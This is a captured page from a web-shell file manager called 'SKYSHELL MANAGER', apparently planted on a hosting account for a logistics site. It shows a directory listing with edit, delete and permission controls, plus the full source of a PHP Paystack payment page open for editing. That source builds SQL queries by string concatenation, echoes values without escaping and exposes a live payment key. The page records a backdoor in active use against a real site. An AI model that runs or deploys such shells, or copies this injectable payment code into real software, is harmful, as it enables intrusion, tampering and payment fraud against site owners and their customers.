📁
SKYSHELL MANAGER-
🛒
PHP v7.4.33
Create Folder
Create File
Current Path:
home
/
oshofree
/
public_html
/
chblogistics.com
/
8f313d
/
Name
Size
Permissions
Actions
📁
..
-
0555
🗑️
🔒
📄
config.php
7.06 KB
0444
🗑️
⬇️
✏️
🔒
📄
error_log
6.29 KB
0644
🗑️
⬇️
✏️
🔒
📄
index.php
7.06 KB
0444
🗑️
⬇️
✏️
🔒
Editing: indexstack.php
<?php session_start(); include"every.php"; include"header2.php";?> <body onLoad="getLocation()"> <?php $ide =$_SESSION['ide']; $sql = "SELECT * from parcel where id = '".$ide."' "; $sql2 = mysqli_query($con,$sql); while($row = mysqli_fetch_array($sql2)) { $id = $row["s"]; $named = $row['name']; $mailer= $row['email']; $ph = $row['phone']; $idel = $row['id']; $cost = $row['coster']; } ?> <?php $ide=$_SESSION['ide']; $sql = "SELECT all* from count "; $sql2 = mysqli_query($con,$sql); while($row = mysqli_fetch_array($sql2)) { $gad= $row['gold']; $sev= $row['sliver']; } if ($mem == "Best") { $cot =$cost-($cost*($gad/100)); } else if ($mem == "Better") {$cot =$cost-($cost*($sev/100));} else if ($mem == "Good" ) {$cot = $cost;} $insert = mysqli_query($con,"UPDATE parcel SET coster = '$cot' where id ='$ide' ") or die ('Could not connect: ' .mysqli_error($con)); ?> <main id="main"> <!-- ======= Track and Book Section ======= --> <section id="about" class="about"> <div class="container" data-aos="fade-up"> <div class="row content"> <div class="col-lg-12" style="padding:20px;"> <H3 align="center">PAYSTACK PAYMENT METHOD</H3> <p> <form id="paymentForm"> <input type="email" id="email-address" class="form-control" value=" <?php echo $mailer; ?> " placeholder="Enter Email" required /> <input type="hidden" id="amount" value="<?php echo $cot; ?>"/> </p> <p> <input type="text" id="first-name" class="form-control" name="mail" value="<?php echo $named; ?> " placeholder="Enter Name" required> <input type="hidden" id="ref" style="border:0; width:300px; color:#fff; outline:0; background:transparent; border-bottom:2px solid #fff;" value="<?php echo $idel; ?> " placeholder="Enter Name" /> <input type="hidden" id="refer" style="border:0; width:390px; outline:0; background:transparent; border-bottom:2px solid #fff;" value="https://chblogistics.com/sucess.php?ref=<?php echo $idel; ?> " placeholder="Enter Name" /> </p> <p> <input type="tel" id="mobile-number" class="form-control" value=" <?php echo $ph; ?> " placeholder="Enter Phone Number"/> </p> <p align="center"><input type="submit" name"submit" onClick="payWithPaystack()" value="Pay Now" class="submitn" required /></p> </form> </div> <script src="https://js.paystack.co/v1/inline.js"></script> <script type="text/javascript">const paymentForm = document.getElementById('paymentForm'); paymentForm.addEventListener("submit", payWithPaystack, false); function payWithPaystack(e) { e.preventDefault(); let handler = PaystackPop.setup({ key: 'pk_live_e1bd7f3940dbf48ba9b658862a82ec1b55d9ec3d', // Replace with your public key email: document.getElementById("email-address").value, amount: document.getElementById("amount").value * 100, ref: document.getElementById("ref").Value, // generates a pseudo-unique reference. Please replace with a reference you generated. Or remove the line entirely so our API will generate one for you // label: "Optional string that replaces customer email" metadata: { custom_fields: [ { display_name: "Mobile Number", variable_name: "mobile_number", value: document.getElementById("mobile-number").value, } ] }, onClose: function(){ alert('Window closed.'); }, callback: function(response){ window.location.href = document.getElementById("refer").value; } }); handler.openIframe(); }</script> </div> </section><!-- Book Section --> </main><!-- End #main --> <?php include "footer2.php"; ?>
💾 Save Changes